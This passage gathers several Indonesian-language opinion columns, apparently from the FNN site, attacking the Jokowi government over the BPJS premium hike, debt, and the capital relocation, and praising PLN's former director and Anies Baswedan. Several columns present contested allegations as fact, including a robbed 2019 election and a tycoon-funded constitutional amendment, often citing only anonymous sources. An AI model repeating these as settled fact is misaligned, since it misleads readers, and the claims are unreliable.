Indonesia (KSPI) mengancam akan menggelar unjukrasa besar-besaran. Sejak Senin (2/9) sampai Selasa sore (3/9) di medsos tagar #BatalkanKenaikan BPJS menjadi trending topic. Penolakan bukan hanya datang dari penentang pemerintah, namun juga dari kalangan pendukung Jokowi. Sejumlah netizen yang selama ini dikenal sebagai pendukung garis keras Jokowi, ramai-ramai balik badan. Mereka menyatakan kecewa. Ada yang sampai mengusulkan agar Jokowi dimakzulkan (impeach). Paul Perry Njio Haullussy lewat akunnya mencuit “Sepertinya harus di-impeachment nih sang presiden. Nyesel gua dukung dia dulu.” Bisa Berbahaya Sikap DPR menolak kenaikan iuran BPJS tidak boleh dianggap main-main. Secara legal tidak mengikat, namun secara politis bisa sangat berbahaya bagi pemerintahan Jokowi. Kalkulasinya harus benar-benar matang. Kalau sampai dia nekad tetap menaikkan, basis legitimasinya akan semakin rendah. Ditolak DPR, juga ditolak publik. Termasuk para pendukungnya sendiri. Sebaliknya jika tetap tidak dinaikkan, beban pemerintah akan sangat berat. Difisit APBN akan tambah berdarah-darah. Defisit anggaran saat ini sudah mencapai Rp 183 Triliun. 48.6 persen dari APBN. Defisit BPJS Kesehatan sebesar Rp 32,84 triliun. Dirut BPJS Kesehatan Fachmi Idris mengatakan, bila tidak dinaikkan maka defisit BPJS Kesehatan setiap tahun akan terus membengkak. Pada tahun 2024, ketika Jokowi mengakhiri jabatannya akan tembus Rp 77,8 triliun. Bisa dibayangkan betapa besarnya beban pemerintah dan acakadutnya pengelolaan BPJS. Mereka harus berakrobat dengan defisit yang terus menggunung. Gali lubang, tutup lubang. Sementara lubang yang ada tambah dalam. Sampai saat ini BPJS mempunyai tunggakan besar kepada sejumlah RS. Jumlahnya akan terus bertambah. Tercatat BPJS menunggak Rp 6.6 Triliun. Sementara karena ngadatnya pembayaran dari BPJS membuat RS berutang besar kepada industri farmasi. Beberapa RS terancam gulung tikar, atau diambil alih oleh jaringan RS milik para taipan. Jumlah peserta JKN (2019) sebanyak 223.3 juta. 82,9 juta diantaranya adalah peserta non PBI, alias membayar dengan kocek sendiri. Mereka inilah yang akan langsung terdampak kenaikan iuran. Jumlah tersebut hanya selisih sedikit dari perolehan suara Jokowi pada Pilpres 2019 sebanyak 85.6 juta suara. Katakanlah kurang dari separuhnya adalah pendukung Jokowi. Mereka akan bergabung bersama penentang Jokowi. Sama-sama menjadi korban. Senasib sepenanggungan. Kalau sudah urusan kesulitan hidup, tak ada lagi bedanya antara cebong dan kampret. Mereka sama-sama menderita. Mereka akan punya penilaian dan pendapat yang sama. Memindahkan ibukota saja bisa, mengapa menutup defisit BPJS Kesehatan yang jumlahnya relatif kecil saja, pemerintah tidak bisa. Padahal pembenahan BPJS Kesehatan beserta problem defisitnya menjadi salah satu janji kampanye Jokowi. Janji yang diulangnya kembali pada pidato RAPBN 2020 dan Nota Keuangan 16 Agustus lalu. Sementara pemindahan ibukota tidak pernah disinggung sama sekali. Inilah warisan (legacy) yang akan ditinggalkan Jokowi pada akhir masa jabatan pertamanya. Sebuah problem pelik yang tidak mudah diselesaikan. Tidak bisa hanya dengan pembenahan IT bantuan dari perusahaan asuransi Cina seperti dikatakan Menko Maritim Luhut Panjaitan. Mohon maaf. Resep andalan Luhut, semua urusan dan masalah, akan beres bila diserahkan ke Cina. Kali ini tidak berlaku. Menaikkan iuran BPJS bukan lagi seperti memakan buah simalakama. Tidak dinaikkan, terus defisit. Dinaikkan akan membuat beban hidup jutaan rakyat Indonesia semakin berat. Bagi Jokowi, iuran BPJS sudah menjadi buah terlarang (khuldi). Bila sampai berani menaikkan, bisa saja dia terusir dari istana, seperti Adam dan Hawa terusir dari surga! Wallohualam Bisawab. End

Membangun Pembangkit Dengan Manfaat Yang Berbukit-Bukit

Ada cara lain untuk PLN, yaitu dengan menjaring utang. Tapi masalahnya, debt service coverage ratio (DSCR) PLN hanya mencapai 1,1 kali. Padahal, DCSR ini menjadi salah satu ukuran kesehatan keuangan perusahaan dalam memenuhi kewajiban terhadap kreditor. Akibatnya, ruang yang dimiliki oleh pabrik setrum pelat merah ini untuk menambah pinjaman baru juga kian terbatas. Oleh Edy Mulyadi (Wartawan Senior) Jakarta, FNN - Pada tulisan sebelumnya yang berjudul “Pembangkit : PLN dan Swasta Siapa Lebih Dominan?” saya menekankan pentingnya penguasaan PLN atas pembangkit listrik secara dominan. Dengan penguasaan kepemilikan yang dominan, peluang swasta produsen listrik alias Independent Power Producer (IPP) untuk mengendalikan harga jual listrik bisa dihindari. Rakyat dan Negara juga tidak dirugikan Sampai tahun 2016, komposisi kepemilikan pembangkit tenaga listrik, yang produksinya dijual melalui PLN adalah 36.973 MW (79%) dimiliki oleh PLN Grup. Sisanya 10.121 MW (21%) dimiliki oleh swasta. Namun entah apa yang ada di benak para pemangku otoritas perlistrikan, komposisi itu diubah melalui Rencana Umum Penyediaan Tenaga Listrik (RUPTL) PLN 2016-2025. Berdasarkan ketentuan ini, PLN dapat alokasi membangun 10.559 MW. Selebihnya yang 25.068 MW dikerjakan oleh IPP melalui kerjasama penyediaan tenaga listrik. Anda perhatikan komposisinya? Swasta punya porsi dominan, 25.000 MW lebih! Dengan demikian, jika program ini selesai, komposisi kepemilikan pembangkit oleh PLN Grup tinggal 57%. Jika ini terjadi, risiko pengendalian ketersediaan pasokan listrik oleh swasta bakal terbuka lebar. Ujung-ujungnya mereka bakal mengerek harga listrik setinggi-tingginya. Bukankah laba adalah ‘tuhan’ bagi swasta yang menjadi tujuan utama? Nah, pentingnya dominasi PLN atas penguasaan pembangkit ini ternyata disadari betul oleh jajaran direksi yang dinahkodai oleh Sofyan Basir. Masalahnya, membangun pembangkit plus infrastruktur kelistrikan memerlukan dana raksasa. Berharap pada kas PLN, sudah pasti mustahil. Untuk keperluan ini, PLN hanya bisa merogoh kocek sendiri maksimal Rp20 triliun/tahun. Ada cara lain, yaitu menjaring utang. Tapi masalahnya, debt service coverage ratio (DSCR) PLN hanya mencapai 1,1 kali. Padahal, DCSR ini menjadi salah satu ukuran kesehatan keuangan perusahaan dalam memenuhi kewajiban terhadap kreditor. Akibatnya, ruang yang dimiliki oleh pabrik setrum pelat merah ini untuk menambah pinjaman baru juga kian terbatas. Out The Box Sebagai mantan bankir kawakan, SB, begitu Sofyan biasa disapa, harus pandai-pandai menyiasatinya. Alhamdulillah, kombinasi tangan dingin dan otaknya yang encer, akhirnya jajaran Direksi PLN di bawah komandonya menemukan jurus terobosan, yang out the box. Ada skema pendanaan baru dalam pembangunan sebagian pembangkit tenaga listrik yang merupakan porsi IPP (proyek). Caranya, PLN menugaskan anak perusahaannya untuk bermitra dengan pihak lain dalam mengembangkan pembangkit yang kelak akan terikat dalam Power Purchase Agreement (PPA) dengan PLN. PLN menugaskan anak perusahaannya mencari mitra untuk membentuk Joint Venture Company (JVC). Perusahaan patungan inilah yang akan membangun pembangkit tenaga listrik. Untuk keperluan ini, SB minta saham anak perusahaan harus sebesar 51%. Selanjutnya, bukan Sofyan kalau tidak canggih dalam urusan saham. Pasalnya, kendati memegang saham pengendali, dia mengharuskan anak perusahaan PLN tadi maksimal hanya menyetor modal 20% dari jumlah yang menjadi kewajibannya sesuai dengan komposisi kepemilikan saham dan struktur pendanaan proyek. Misalnya, struktur pendanaan proyek adalah 30% ekuitas dan 70% pinjaman, maka anak perusahaan PLN hanya berkewajiban menyetorkan ekuitas secara tunai sebesar 20%x 51% x 30% x nilai proyek. Dengan hitung-hitungan macam begini, jumlah modal yang disetorkan anak perusahaan PLN hanya 3,06% dari nilai proyek. Ulangi, hanya 3,06% dari nilai proyek! Canggih, kan? Lalu, dari mana sisa setoran modal 80% yang jadi kewajiban anak perusahaan PLN? Sebentar, jawabnya ada di bagian berikut tulisan ini. Berdasarkan skema ini, kandidat mitra pemilik 49% saham dalam JVC wajib mencarikan pendanaan proyek. Kewajiban tersebut meliputi ; Pertama, menyediakan porsi pinjaman (senior debt) dari proyek sesuai dengan struktur pendanaan yang disepakati (ekuivalen dengan 70% dari nilai proyek). Kedua, menyediakan setoran ekuitas yang menjadi kewajibannya sesuai dengan komposisi kepemilikan saham dan struktur pendanaan proyek. Ini artinya, mitra anak perusahaan PLN tadi menyediakan dana 100% x 49% x 30% x nilai proyek, atau ekuivalen dengan 14,7% dari nilai proyek. Ketiga, menyediakan shareholder loan (junior debt) sebesar 80% dari nilai setoran ekuitas yang menjadi kewajiban anak perusahaan PLN (80%x 51% x 30% x nilai proyek, ekuivalen dengan 12,24% dari nilai proyek). Pola ini menjawab pertanyaan dari mana atau siapa yang berkewajiban menutup 80% sisa setoran anak perusahaan PLN dalam JVC tadi. Keempat, tingkat bunga shareholder loan (junior debt) tidak boleh mahal, melainkan harus merefleksikan cost of debt PLN. Kelima, tingkat bunga pinjaman dari senior debt harus favourable. Dengan cara ini ada ‘jaminan’ bahwa perusahaan patungan tersebut mampu mendapatkan laba profitabilitas yang wajar. Frasa ‘wajar’ di sini menjadi penting. Pertama, perusahaan tidak didera rugi selama beroperasi. Kedua, ini yang tidak kalah penting, keuntungan perusahaan tidak kelewat gede sebagaimana yang terjadi selama puluhan tahun belakangan. Bukan rahasia lagi, selama ini PLN membeli listrik produksi swasta dengan harga kemahalan karena mark up dan KKN antara swasta dan pejabat di belakang mereka. Akibatnya, rakyat membayar listrik dengan harga tinggi. Negara juga rugi karena harus mengalokasikan subsidi energi lebih besar. Jika urusan pendanaan ini sudah beres, baru PLN akan menandatangani kontrak jual beli tenaga listrik (power purchase agreement/PPA) dengan JVC untuk masa perjanjian selama 25 tahun. Dalam konteks ini, ada aturan sampai dengan akhir tahun ke-20 setelah proyek beroperasi komersial, berlaku ketentuan Take or Pay (TOP). Maksudnya begini. Misalnya, disepakati PLN membeli 100. PLN tetap harus membayar 100, kendati praktiknya pemakaian ternyata kurang dari 100. Setelah itu berlaku ketentuan TAP. Misalnya, dalam perjanjian disepakati PLN membeli maksimal 100. Namun pratiknya yang dipakai 90. Maka PLN hanya membayar 90 sesuai pemakaian. Sebaliknya, bila ternyata pemakaian mencapai 102, maka PLN membayar 2 yang jadi kelebihan pemakaian dengan harga lebih mahal. Dengan ketentuan ini, tarif PPA lebih murah ketimbang tarif PPA IPP existing. Sebagai contoh, untuk PLTU Mulut Tambang maksimal 75% dari Biaya Pokok Produksi (BPP) setempat atau BPP nasional, mana yang lebih rendah. Ujung-ujungnya, PLN diuntungkan karena efisiensi biaya produksi listrik. Keenam, selama masa kontrak jual beli tenaga listrik antara JVC dan PLN berlakukan ketentuan pengendalian JVC sebagai berikut, misalnya join control dengan reserve matter. Di sini mitra diberikan kewenangan sebagai leader sampai dengan akhir tahun ke-15 setelah proyek beroperasi komersial. Selain itu, join control dengan reserve matter. Pada tahap ini anak perusahaan PLN gantian menjadi leader dari akhir tahun ke-15 sampai dengan akhir tahun ke-20 setelah proyek beroperasi komersial. Pengendalian JVC juga mengikuti ketentuan Undang-Undang Perseroan Terbatas (PT) dari akhir tahun ke-20 setelah proyek beroperasi komersial, sampai dengan berakhirnya masa kontrak jual beli tenaga listrik dengan PLN. Manfaat Berbukit-Bukit Berdasarkan skema ciamik racikan Sofyan dan para koleganya itu, PLN bakal memperoleh serenceng manfaat. Antara lain, PLN bisa melaksanakan penugasan Pemerintah untuk membangun pembangkit tenaga listrik. PLN juga bisa tetap menjaga dominasi kepemilikan dalam portofolio pembangkit tenaga listrik nasional. Poin ini penting, karena PLN dapat memitigasi risiko pengendalian pasokan dan risiko pengendalian harga tenaga listrik oleh IPP. PLN bisa memperoleh harga pembelian tenaga listrik yang lebih rendah dibandingkan dengan harga IPP lainnya. Swasta tidak bisa lagi seenaknya mengerek harga, karena anak perusahaan PLN yang menjadi mitra kongsinya tahu persis struktur biaya investasi dan operasi pembangkit. Itu karena anak perusahaan PLN terlibat dalam negosiasi harga antara JVC dengan PLN. PLN juga tidak perlu menggunakan balance sheet untuk mendapatkan pendanaan proyek. Pasalnya, sebagian besar kebutuhan dana proyek disediakan oleh mitra dari anak perusahaan. Skema join control dengan reserve matter juga membuat pinjaman dari JVC tidak perlu dikonsolidasikan ke dalam pembukuan PLN. Artinya, neraca PLN jadi lebih cantik. Tingkat bunga pinjaman dari JVC kepada shareholder (mitra) tetap kompetitif. Selain itu, sebanding dengan tingkat bunga pinjaman PLN lainnya. PLN dan Pemerintah tidak perlu memberikan jaminan atas pinjaman proyek, karena pendanaan proyek sepenuhnya menggunakan balance sheet dan kredibilitas mitra. PLN Grup bakal memperoleh pendapatan tambahan dari kepemilikan saham anak perusahaan pada proyek berupa pembagian dividen atas laba JVC. Anak perusahaan PLN berkesempatan untuk mengembangkan kompetensi tenaga kerjanya melalui keterlibatan dalam operation dan maintenance pembangkit. Pada saat yang sama juga terjadi transfer of technology and knowledge dari mitra. Setelah berakhirnya masa kontrak jual beli tenaga listrik, maka seluruh aset pembangkit akan ditransfer kepada PLN tanpa pembayaran tambahan apapun. Kalau sudah begini, neraca PLN pun jadi makin bergizi dan berotot. Skema racikan SB ini tentu saja sangat ciamik buat PLN. Inilah yang disebut value creation. Membangun pembangkit sekalgus meraup manfaat berbukit-bukit. Pada konteks ini, manfaat bukan melulu dinikmati PLN sebagai entitas bisnis. Tapi juga menguntungkan rakyat dan negara. Tapi sayangnya, tidak semua pihak sepakat. Skema ini sama saja mengakhiri pesta-pora para rent seeker dan pelaku KKN dari bisnis PLN. Mereka adalah para pengusaha dan penguasa yang berada di balik layar. Jadi, wajar saja bila para peselingkuh ini melakukan perlawanan. Hasilnya, SB harus mondar-mandir hadir di sidang Tindak Pidana Korupsi (Tipikor) sebagai tardakwa. [*]

Sistem Politik Indonesia Ditopang Uang Kotor

Anda ingin tau dan pahami sejarah uang kotor di Indonesia ? Bagaimana cerita uang kotor menopang sistem politik Indonesia sepanjang reformasi ? Ini adalah seri pertam dari sebelas serial tulisan, yang menguraikan secara terperinci bobroknya sistem politik indonesia selama dua puluh satu tahun reformasi. Pada tempat dan sistem politik yang busuk, disanalah berkembang biak dengan subur uang kotor untuk memperkaya oligarki yang busuk. Oleh Salamuddin Daeng (Bagian Pertama) Jakarta, FNN - Untuk bisa kembali ke UUD 1945 tentu membutuhkan sumber keuangan yang besar. Uang yang sekaligus akan dipakai untuk pemulihan ekonomi indonesia setelah politik dan ekonomi Indonesia diobrak abrik dan dirusak oleh UUD amandemen. Kerana kalau tidak ada uang, maka UUD 1945 asli nantinya akan mewarisi beban kerusakan yang parah tanpa sumber pembiayaan bagi pemulihan. Beban kerusakan akibat UUD 1945 adalah sama dengan beban kerusakan yang diwariskan oleh kolonialisme dan imperialisme Indonesia. Kerusakan akibat penjajahan akhirnya dibiayai dengan harta kerajaan-kerajaan Nusantara. Sebagian besar dikusai kolonial Belanda, baik di dalam dan di luar negeri. Sekarang pertanyaannya, darimana sumber uang untuk kembali ke UUD 1945? Sumber anggaran untuk membiayai kembali kepada UUD 1945 adalah dari harta negara yang diambil oleh berbagai pihak dengan cara yang tidak legal. Harta tersebut adalah harta negara yang digunakan untuk Bantuan Liquiditas Bank Indonesia (BLBI), dan Kredit Liquidiitas Bank Indonesia (KLBI). Karena uang inilah yang dipakai untuk membiayai amandemen UUD 1945. Jika kita flasback sejarah, proses amandemen UUD 1945 adalah proses politik yang dibiayai dengan dana yang sangat besar. Dana yang digunakan untuk menyogok pimpinan Partai Politik, aparatur pemerintah, anggota parlemen bahkan intelijen asing yang berbaju LSM indonesia. Uang yang dipakai untuk membiayai amandemen UUD 1945 bersumber dari penjarahan uang negara. Namanya "BLBI dan KLBI" yang jumlahnya mencapai Rp 650 triliun. Uang tersebut diperoleh dari pencetakan uang oleh Bank Indonesia dalam tahun 1998 dan tahun 1999. Dasar pencetakan uang tersebut adalah obligasi atau surat utang Bank Indonesia (BI) dan Pemerintah. Uang cetakan yang kemudian digunakan untuk membeli dollar dalam rangka menanggung beban utang dan mensubsidi para taipan yang bangkrut, karena hutang mereka dalam dollar Amerika. Keputusan pemerintah dan Bank Indonesia ketika itu untuk mengambil alih utang para taipan adalah kebijakan yang salah. Selain itu, kebijakan mensubsisi para taipan dengan dollar juga berakibat pada nilai tukar rupiah yang langsung terhadap dollar. Ambruknya nilai tukar tesebut tentu menghasilan keuntungan bagi para taipan yang melarikan uang ke luar negeri. Juga memberikan keuantungan kepada para pemberi utang kepada Indonesia, yakni para taipan dan asing. Alur ceritanya diawali dengan upaya merekayasa agar nilai rupiah ambruk. Dengan ambruknya nilai tukar rupiah, atau krisis inilah yang dijadikan alasan untuk memberikan suntikan dana besar besaran kepada para taipan. Uang negara inilah yang kemudian sebagian kecil dipakai urunan oleh para taipan dan asing dalam merusak UUD 1945. Sebagian besar uang tersebut dilarikan ke luar negeri. Mereka para taipan menyimpan uang tersebut di bank-bank asing. Sebagian lagi digunakan para taipan untuk membeli kembali aset-aset mereka yang telah sita oleh Badan Penyehatan Perbankan Nasional (BPPN) Itulah sebabnya mengapa sekarang kekayaan orang-orang Indonesia yang disimpan di luar negeri bisa mencapai lebih dari Rp 11.000 triliun. Kekayaan segelintir pengusaha Indonesia yang ada di dalam negeri hanya sekitar Rp 2 triliun. Uang mereka sangat besar, dan akan terus membesar, karena ditopang oleh UUD 1945 hasil amandemen tahun 2002. Sekarang negara (rakyat) harus menanggung utang mereka yang mencapai Rp 14.000 triliun. Angka ini diakui oleh mantan pejabat BPPN dalam skema pelunasan utang BLBI. Jumlah uang yang kalau disita sekarang, sebetulnya sangat cukup untuk membiayai pemulihan ekonomi Indonesia paska kerusakan akibat UUD 1945 diamandemen tahun 2002 (bersambung bag-2)

Rapat Kabinet Tak Setuju, Kenapa Jokowi Umumkan Ibu Kota Pindah?

Dikabarkan, Wapres Jusuf Kalla sempat berekspresi terperangah ketika Jokowi mengatakan ibu kota akan dipindahkan ke Kalimantan. Hampir-hampir saja Wapres terangkat dari duduknya ketika mendengar pernyataan Jokowi yang tak sesuai dengan keputusan rapat kabinet. By Asyari Usman (Wartawan Senior) Jakarta, FNN - Dalam dua tulisan terdahulu, kami katakan bahwa pemindahan ibu kota ke Kalimantan Timur adalah proyek untuk mengukir legacy (warisan) Presiden Jokowi. Supaya disebut dialah presiden yang memindahkan ibu kota. Kami juga mendeskripsikan bahwa ibu kota baru adalah proyek para konglomerat. Merekalah yang mendominasi proses pemindahan itu dari hulu sampai hilir. Tapi, apakah benar ibu kota akan dipindahkan? Jawaban singkatnya “ tidak”. Kalau tidak, kenapa kedua tulisan terdahulu menggambarkan seolah ibu kota akan benar-benar pindah? Penjelasannya adalah bahwa pikiran linier tidak berlaku untuk Pak Jokowi. Artinya apa? Sederhana sekali. Di tangan Jokowi, yang disebut ‘tak jadi’ bisa menjadi ‘jadi’. Sebaliknya, yang sudah disebut ‘jadi’ banyak juga yang menjadi ‘tak jadi’. Yang dijanjikan tak dilaksanakan, yang tak dijanjikan bisa muncul tiba-tiba. Esemka, kartu prakerja, stop impor, 10 juta lapangan kerja, besarkan Pertamina untuk kalahkan Petronas, tak hapus subsidi BBM, dan lain sebaganya, adalah beberapa contoh tentang nir-konsistensi Jokowi. Kalau begitu, sekali lagi, apakah ibu kota jadi pindah? Jawabannya, dalam bentuk pengalihan isu, pemindahan itu dapat disebut jadi. Tapi, kalau dirujuk ke satu rapat terbatas (ratas) kabinet, pemindahan itu tak jadi. Menurut info A-1, ada rapat kabinet pada awal Agustus 2019. Di rapat itu, diputuskan bahwa pemindahan ibu kota negara dicoret dari agenda. Rapat dipimpin langsung oleh Presiden Jokowi. Hadir juga Wapres Jusuf Kalla dan sejumlah menteri yang terkait dengan gagasan pemindahan ibu kota. Tetapi, sangat mengherankan mengapa dalam pidato di depan sidang gabungan DPR-DPD pada 16 Agustus 2019, Jokowi mengumumkan keputusan pemindahan ibu kota. Kemudian, pada 26 Agustus beliau umumkan bahwa lokasi ibu kota baru itu adalah Penajam Paser Utara dan Kutai Kartanegara di Kalimantan Timur. Dikabarkan, Wapres Jusuf Kalla sempat berekspresi terperangah ketika Jokowi mengatakan ibu kota akan dipindahkan ke Kalimantan. Hampir-hampir saja Wapres terangkat dari duduknya ketika mendengar pernyataan Jokowi yang tak sesuai dengan keputusan rapat kabinet. Apa yang terjadi? Mengapa keputusan kabinet yang menetapkan ibu kota “tak jadi pindah”, dibalik menjadi “jadi pindah”? Sumber-sumber yang berada di lingkaran inti kekuasaan menyebutkan pemindahan ibu kota hanya bertujuan untuk mendiskursuskan informasi publik. Para penguasa, kata mereka, perlu terus mengasyikkan masyarakat dengan berita-berita panas seperti isu ibu kota. Agar publik lupa ada perampokan besar suara rakyat di pilpres 2019. Pemindahan ibu kota pun digoreng berhari-hari. Diperdebatkan sengit oleh semua orang. Dibahas di berbagai talk-show televisi, di media cetak, dan seluruh platform media sosial (medsos). Semua serentak membicarakan pemindahan ibu kota. Tidak ada lagi cerita penipuan pilpres. Tidak ada lagi yang mengutak-atik kematian 600-an petugas KPPS pemilu. Kemudian, keanehan-keanehan yang berlangsung di Mahkamah Konstitusi (MK) pun juga tak lagi menjadi buah bibir. Salah seorang pengusaha papan atas angkat bicara. Dia tahu persis pemindahan ibu kota ke Kalimantan sudah diputuskan tak jadi dikerjakan. Duitnya tidak ada. Defisit APBN saja menganga lebar. Tak mungkin. Dalam pada itu, narasi ‘tak jadi’ jauh lebih kuat dan logis dibandingkan hayalan pindah ibu kota. Terlalu banyak orang yang geleng kepala. Risikonya sangat besar. Ketuam Umum PDIP Megawati Soekarnoputri termasuk yang melihat risiko itu. Beliau memberikan isyarat keras kepada Jokowi. Lebih pas disebut kritik keras terhadap pemindahan ibu kota. Bu Mega meminta agar dampak jangka panjangnya diperhatikan. Secara keseluruhan, komentar Bu Mega lebih layak ditafsirkan menentang rencana itu. Menteri Keuangan Sri Mulyani Indrawati (SMI) sendiri menegaskan ongkos pemindahan ibu kota tidak ada di dalam APBN 2020. Menteri mengatakan, dia sendiri sedang mencarikan cara untuk membiayai pembangunan ibu kota baru itu. Dari semua ini, tampak jelas bahwa pemindahan ibu kota bukan agenda yang serius. Hanya untuk menghebohkan publik sambil menutupi kebobrokan, perampokan dan penipuan terbesar pilpres.*

Legenda Sri Mulyani : Gali Lubang Tutup Goa

Utang pemerintah per Juni 2019 tercatat Rp4.601 triliun. Kalau seluruh nolnya ditulis adalah 4.601.000.000.000.000. Rasio utang terhadap PDB mencapai 29,5%. Saban tahun utang Indonesia selalu bertambah. Oleh Dimas Huda (Wartawan Senior) Jakarta, FNN - Utang terasa legit pada suapan pertama, tetapi sungguh perih tatkala harus membayar. Di era digital saat ini, tawaran utang dari para rentenir nyaris masuk ke tiap pemilik ponsel. Ada yang melalui pesan singkat SMS, WhatsAp, atau lainnya. Syarat mudah. Bunga selangit. Tapi tetap saja menggiurkan. Jika ada yang berpikir mencari utang itu sulit tentu dia kurang gaul. Nyatanya, ada orang yang berutang kepada puluhan bahkan ratusan rentenir digital. Orang itu melakukan gali lubang, tutup lubang. Lubang makin dalam, sedangkan yang digunakan untuk menutup selalu kurang. Itu dalam urusan pribadi. Utang perusahaan bahkan negara gambarannya tak jauh beda. Mudah. Makin berani membayar bunga tinggi, maka makin banyak yang menawarkan pinjaman. Utang pemerintah per Juni 2019 tercatat Rp 4.601 triliun. Kalau seluruh nolnya ditulis adalah 4.601.000.000.000.000. Rasio utang terhadap PDB mencapai 29,5%. Saban tahun utang Indonesia selalu bertambah. Cukup banyak sumber utang Indonesia. Paling anyar adalah Asian Infrastructure Invesment Bank atau AIIB. Ini adalah lembaga keuangan yang dipelopori China. Di lembaga ini Indonesia dinobatkan sebagai negara pengutang terbesar nomor dua. Total utang Indonesia tercatat US$ 950 juta atau setara Rp 13,48 triliun. Negara pengutang terbesar di AIIB adalah India. Ibarat roket, tambahan utang pemerintah di era Jokowi sungguh meroket. Apabila dibandingkan dengan pemerintah sebelumnya, di era Susilo Bambang Yudhoyono, Joko Widodo jelas juara. Pada periode pertama Presiden SBY (2005-2009), tambahan utang pemerintah hanya Rp291 triliun. Sedangkan periode Jokowi (2015-2019), tambahan utang pemerintah pusat meroket Rp 1.995 triliun. Data untuk tahun 2019 yang digunakan barulah data hingga Juli 2019. Dipastikan sampai akhir tahun 2019, tambahan utang di periode pertama Jokowi akan semakin menggelembung. Tak sulit bagi Indonesia untuk menggali lubang. Menteri Keuangan, Sri Mulyani Indrawati, adalah menteri berjuluk “pencetak utang”. Julukan itu diberikan Prabowo Subianto. "Kalau menurut saya, jangan disebut lagi-lah ada menteri keuangan, mungkin menteri pencetak utang. Bangga untuk utang, yang suruh bayar orang lain," ujar Prabowo, pada Januari silam. Ekonom Rizal Ramli memberikan julukan berbeda, tapi sama-sama menghinakan. Menurutnya, Menteri Sri paling tepat diberi julukan “menteri terbalik” untuk menandingi menteri terbaik. Julukan ini diberikan kepada Sri karena ia dianggap paling dermawan kepada kreditor. Bunga utang negara yang diberikan Sri kepada kreditor lebih tinggi dibandingkan negara-negara yang rating ekonominya lebih rendah dari Indonesia. Dengan Vietnam dan Filipina, misalnya, Indonesia membanyar bunga 3% lebih tinggi. Wajar saja jika bondholders atau kreditor utang Indonesia senang dengan Sri. Di sisi lain, sudah barang tentu rakyat Indonesia harus membayar beban tambahan bunga ratusan triliun. “Tragedi sekaligus kriminal,” tuding ekonom senior Rizal Ramli, Selasa (27/8). Rizal tak asal tuding. Ia mengungkap data utang bond pemerintah saat Sri menjabat menkeu, di era pemerintahan Jokowi dan era pemerintahan SBY. Pada saat menjadi meskeu era SBY (2006-2010), Sri menerbitkan utang bond sebesar Rp 454,9 triliun. Rinciannya, Fixed Coupon sebesar Rp 281,8 triliun, Variable Coupon Rp 25,6 triliun, Fixed Coupon (Islamic) Rp 25,7 triliun, dan Fixed Coupon (non tradable) Rp 121,7 triliun. Kala itu, yield yang dipasang kemahalan, sehingga beban bunga yang harus ditanggung rakyat sebesar Rp 199,7 triliun. Lalu pada saat pemerintahan Jokowi (2016-2019), Sri menerbitkan utang bond Rp 790,7 triliun. Masing-masing Fixed Coupon sebesar Rp 461 triliun, Zero Coupon Rp 49,1 triliun, Zero Coupon (Islamic) Rp 22,1 triliun, Fixed Coupon (Islamic) Rp 240,9 triliun, Variabel Coupon (non tradeble) Rp 10,7 triliun dan Fixed Coupon (non tradeble) sebesar Rp 7 triliun. Utang juga diterbitkan dengan yield kemahalan sehingga menambah beban rakyat Rp 118 triliun. Menurut Rizal, total keuntungkan yang dinikmati kreditor tapi rugikan rakyat adalah Rp 317,7 trilliun. Jumlah ini tidak kecil. Beda-beda tipis dengan anggaran biaya untuk pindah ibu kota. Hal yang berbeda ketika menkeu dijabat Agus Martowardojo dan Bambang Brodjonegoro. Keduanya memberikan yield utang lebih rendah dari negara-negara yang ratingnya lebih rendah dari Indonesia. Ketika meminjam dengan menerbitkan bonds, Agus maupun Bambang sangat proper (correct) dengan selalu berikan yield utang lebih rendah dari negara-negara yang ratingnya lebih rendah dari Indonesia, seperti Thailand dan Filipina. Utang yang dilakukan Sri, rakyat yang membayar. Maka legit bagi Sri, pahit bagi rakyat.

Berhati-hatilah dengan Anies Baswedan!

Sebagai gubernur, secara berkala Anies harus berurusan dengan kementerian di Ibukota. Statusnya menjadi “orang daerah” yang lapor ke pusat. Jadi pemindahan ibukota ini menjadi semacam kudeta tidak berdarah terhadap Anies. Oleh : Hersubeno Arief Jakarta, FNN - Pemprov DKI baru saja menggelar pawai peringatan tahun baru 1 Muharram 1441 Hijriah. Acara tersebut merupakan rangkaian dari Jakarta Muharram Festival 2019. Baru pada kepemimpinan Gubernur Anies R Baswedan acara tersebut digelar. Acaranya meriah habis….. Warga antusias menyaksikan dan menyambut pawai obor. Acara dimeriahkan oleh marching band dan marawis, dari kawasan Monas,sampai ke Jalan Thamrin, dan Sudirman. Pawai obor selama ini menjadi salah satu ciri khas kegiatan umat Islam menyambut berbagai hari-hari besarnya. Di media sosial para pembenci (haters) Anies membulinya habis-habisan. Apalagi ada kegiatan salat maghrib berjamaah pula di Bundaran Hotel Indonesia. Sebaliknya para pendukung Anies menyambut antusias dan memuji habis kegiatan ini. Bagi umat Islam, khususnya warga Betawi, roh kota Jakarta seakan kembali. Kegiatan serupa dalam beberapa dasa warsa terakhir, mulai terpinggirkan. Kalah jauh dibanding peringatan Tahun Baru Masehi. Belakangan yang sangat mencolok adalah peringatan Tahun Baru Cina, Imlek. Melihat langkah-langkah Anies membenahi ibukota. Menghidupkan kembali tradisi lama, tak mengherankan banyak pengamat menghubung-hubungkan pemindahan ibukota dengan posisinya sebagai Gubernur DKI. Banyak Kepentingan Lantas apa hubungannya pemindahan ibukota dengan Anies? Ada rivalitas dan benturan kepentingan antara Presiden Jokowi and his gank, dengan Anies Baswedan. Karena itu, ibukota harus sesegera mungkin dipindah. Targetnya mempreteli peran dan kewenangan Anies sebagai gubernur ibukota negara. Pertama dari sisi Jokowi. Pemindahan ibukota sesegera mungkin dari Jakarta akan membuat Anies Baswedan tak lagi menjadi bayang-bayang Jokowi. Tidak lagi ada matahari kembar. Dengan posisinya sebagai Gubernur DKI Jakarta, tak bisa dipungkiri Anies adalah pejabat publik kedua yang paling populer di Indonesia setelah Jokowi. Berbagai langkahnya membenahi problem perkotaan Jakarta, membuat Anies sangat populer. Di bawah kepemimpinan Anies, Jakarta menuai berbagai penghargaan tingkat lokal dan internasional. Jakarta baru saja dinobatkan sebagai salah satu dari tiga kota di dunia yang berhasil membenahi sistem transportasi dan mobilitas kota. Penghargaan diberikan pada ajang Sustainable Transport Award (STA) 2019 yang digelar di Forteleza, Brazil. Padahal selama ini transportasi dan mobilitas kota menjadi salah satu problem terbesar Jakarta. Banyak yang secara bercanda menyebutnya sebagai “Gubernur Indonesia.” Gegara Mendagri Tjahjo Kumolo keseleo lidah. Sebagai daerah Khusus Ibukota, menyebabkan Jakarta mempunyai keistimewaan yang 